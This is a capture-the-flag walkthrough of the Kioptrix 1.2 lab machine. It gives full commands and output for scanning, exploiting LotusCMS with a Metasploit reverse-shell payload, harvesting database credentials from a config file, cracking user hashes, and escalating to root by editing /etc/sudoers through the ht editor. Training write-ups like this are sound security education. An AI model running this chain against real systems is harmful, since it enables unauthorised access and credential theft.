KIOPTRIX Level 1.2 (#3)
Scanning
We first need to get the target IP.
nmap -sP 192.168.1.0/24
Target IP is 192.168.1.7
nmap
sudo nmap -sV -p- -O -T4 192.168.1.7
-sVdetermine service/version info-T4for faster execution-p-scan all ports-Oidentify Operating System
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-21 07:48 EDT
Nmap scan report for 192.168.1.7
Host is up (0.00095s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3.2
OS details: Linux 3.2
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.73 secondslets take a look on port 80
hit login tab
i tried to brute force credentials but no result
close enough ...
lets check this CMS
➜ ~ searchsploit lotuscms
----------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit) | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities | php/webapps/16982.txt
----------------------------------------------------------------------- ---------------------------------
Shellcodes: No Resultslets try this
LotusCMS 3.0 - 'eval()' Remote Command Execution (Metasploit)
Gaining Access
fire msfconsole
msf6 > search lotuscms
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/lcms_php_exec 2011-03-03 excellent Yes LotusCMS 3.0 eval() Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/lcms_php_exec
msf6 exploit(multi/http/lcms_php_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
18 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
msf6 exploit(multi/http/lcms_php_exec) > set 2
[-] Unknown variable
Usage: set [option] [value]
Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.
If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.
If setting a PAYLOAD, this command can take an index from `show payloads'.
msf6 exploit(multi/http/lcms_php_exec) > set payload 2
payload => generic/shell_reverse_tcp
msf6 exploit(multi/http/lcms_php_exec) > options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.8 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf6 exploit(multi/http/lcms_php_exec) > set rhosts 192.168.1.7
rhosts => 192.168.1.7
msf6 exploit(multi/http/lcms_php_exec) > set uri /
uri => /
msf6 exploit(multi/http/lcms_php_exec) > run
[*] Started reverse TCP handler on 192.168.1.8:4444
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Command shell session 1 opened (192.168.1.8:4444 -> 192.168.1.7:33294) at 2021-07-21 08:32:50 -0400
whoami
www-data
python -c 'import pty; pty.spawn("/bin/sh")'
$check config files
$ find . -name "*config.php"
./gallery/gconfig.phpopen this file
cat ./gallery/gconfig.php
<?php
error_reporting(0);
/*
A sample Gallarific configuration file. You should edit
the installer details below and save this file as gconfig.php
Do not modify anything else if you don't know what it is.
*/
// Installer Details -----------------------------------------------
// Enter the full HTTP path to your Gallarific folder below,
// such as http://www.yoursite.com/gallery
// Do NOT include a trailing forward slash
$GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";
$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";
// Setting Details -------------------------------------------------
if(!$g_mysql_c = @mysql_connect($GLOBALS["gallarific_mysql_server"], $GLOBALS["gallarific_mysql_username"], $GLOBALS["gallarific_mysql_password"])) {
echo("A connection to the database couldn't be established: " . mysql_error());
die();
}else {
if(!$g_mysql_d = @mysql_select_db($GLOBALS["gallarific_mysql_database"], $g_mysql_c)) {
echo("The Gallarific database couldn't be opened: " . mysql_error());
die();
}else {
$settings=mysql_query("select * from gallarific_settings");
if(mysql_num_rows($settings)!=0){
while($data=mysql_fetch_array($settings)){
$GLOBALS["{$data['settings_name']}"]=$data['settings_value'];
}
}
}
}
?>Now we have username and password for phpmyadmin
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";lets check it ... http://192.168.1.7/phpmyadmin/
we IN <3
after check existing DB i find this
open this table ...
Finding this ... developer credentials
but it hashed lets decrypt it using hashes.com
0d3eccfb887aabd50f243b3f155c0f85:Mast3r
5badcaf789d3d1d09794d8f021f40f0e:starwarsUsername | Password |
dreg | Mast3r |
loneferret | starwars |
step back we still have shell
lets view /etc/passwd
$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:100:loneferret,,,:/home/loneferret:/bin/bash
dreg:x:1001:1001:Dreg Gevans,0,555-5566,:/home/dreg:/bin/rbashloneferret -> /bin/bash
loneferret had normal shell lets try to hit it using ssh
note : we avoid using dreg because account shell is restricted "rbash"
➜ ~ ssh loneferret@192.168.1.7
The authenticity of host '192.168.1.7 (192.168.1.7)' can't be established.
RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.7' (RSA) to the list of known hosts.
loneferret@192.168.1.7's password:
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Wed Jul 21 08:25:04 2021 from 192.168.1.8
loneferret@Kioptrix3:~$Privilege Escalation
at this point we can run enu4linux but wait ...
lets check user privilege
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: /bin/su
(root) NOPASSWD: /usr/local/bin/htcheck history
loneferret@Kioptrix3:~$ history
1 sudo ht
2 exit
3 historysudo ht looks juicy lets hit it ...
loneferret@Kioptrix3:~$ sudo ht
Error opening terminal: xterm-256color.
loneferret@Kioptrix3:~$ export TERM=xterm
loneferret@Kioptrix3:~$ sudo htthis Appear ...
its an IN-Terminal text editor like nano, vim, ...
we had sudo privilege with this app
lets try edit /etc/sudoers
f3 to open file
hit enter now we need to add /bin/su privilege to current account
f2 save
loneferret@Kioptrix3:~$ sudo su
root@Kioptrix3:/home/loneferret# cd
root@Kioptrix3:~# ls
Congrats.txt ht-2.0.18
root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.
...Last updated
